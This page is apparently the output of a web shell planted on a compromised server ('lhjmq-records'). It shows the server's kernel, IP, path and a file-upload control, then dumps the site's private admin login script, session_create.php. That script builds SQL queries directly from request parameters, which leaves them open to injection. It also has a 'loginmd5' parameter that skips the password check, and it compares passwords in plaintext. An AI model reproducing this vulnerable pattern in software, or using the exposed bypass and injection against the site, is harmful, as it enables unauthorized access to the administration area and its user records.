AlaK4X
Linux lhjmq-records 5.15.0-118-generic #128-Ubuntu SMP Fri Jul 5 09:28:59 UTC 2024 x86_64



Your IP : 18.226.165.234


Current Path : /var/www/lhjmq-records.qc.ca/public_html/administration/session/
Upload File :
Current File : /var/www/lhjmq-records.qc.ca/public_html/administration/session/session_create.php

<?php
ini_set("display_errors", 1);
// Report all PHP errors (see changelog)
error_reporting(E_ALL);


//Include the standard includes
require("../includes/mysql_connect.php");
include("../includes/module_audit_func.php");

$bypass_password_checkup = false;
if(isset($_GET['loginmd5'])){
	//Request by md5 digest
	$result = mysql_query("SELECT * FROM secur_usagers WHERE MD5(CONCAT(username, password)) = '".$_GET['loginmd5']."'", $mysql_link);
	$bypass_password_checkup = true;
}else{
	//Request de login info
	$result = mysql_query("SELECT * FROM secur_usagers WHERE username = '".$_POST['username']."'", $mysql_link);
}

//Check if a row was returned
if(mysql_num_rows($result)){
	//A row was returned, fetch it
	$row = mysql_fetch_array($result);
	//Check the password
	if($row['password'] == $_POST['password'] || $bypass_password_checkup == true){
		//Password match, check if account is locked?
		if($row['actif'] == 1){
			//Send to the main menu

			//Account active, let the user start a session
			// 20060904 sb@netsimplify
			include("../includes/cluster_session.php"); // cluster-aware session
			cluster_session_start();

			//Save the username for future script reference
			session_register("session_username");
			session_register("session_id_usager");
			$_SESSION['session_id_usager'] = $session_id_usager = $row['id_usager'];
			$_SESSION['session_username'] = $session_username = $row['username'];
			//Redirect
			// 20060830 sb@netsimplify
			header("Location: session_menu.php?currentmenu=ops");

		} else {	
			//Account disabled, type 2 error
			// 20060830 sb@netsimplify
			header("Location: session_open.php?errornumber=2&previoususername=$username");
		}
	}else {
		//Password doesn't match, type 1 error
		// 20060830 sb@netsimplify
		header("Location: session_open.php?errornumber=1&previoususername=$username");
	}
}else{
	//Password doesn't match, type 1 error
	// 20060830 sb@netsimplify
	header("Location: session_open.php?errornumber=1&previoususername=$username");
}

//Load the standard includes footers
require("../includes/mysql_cleanup.php");
?>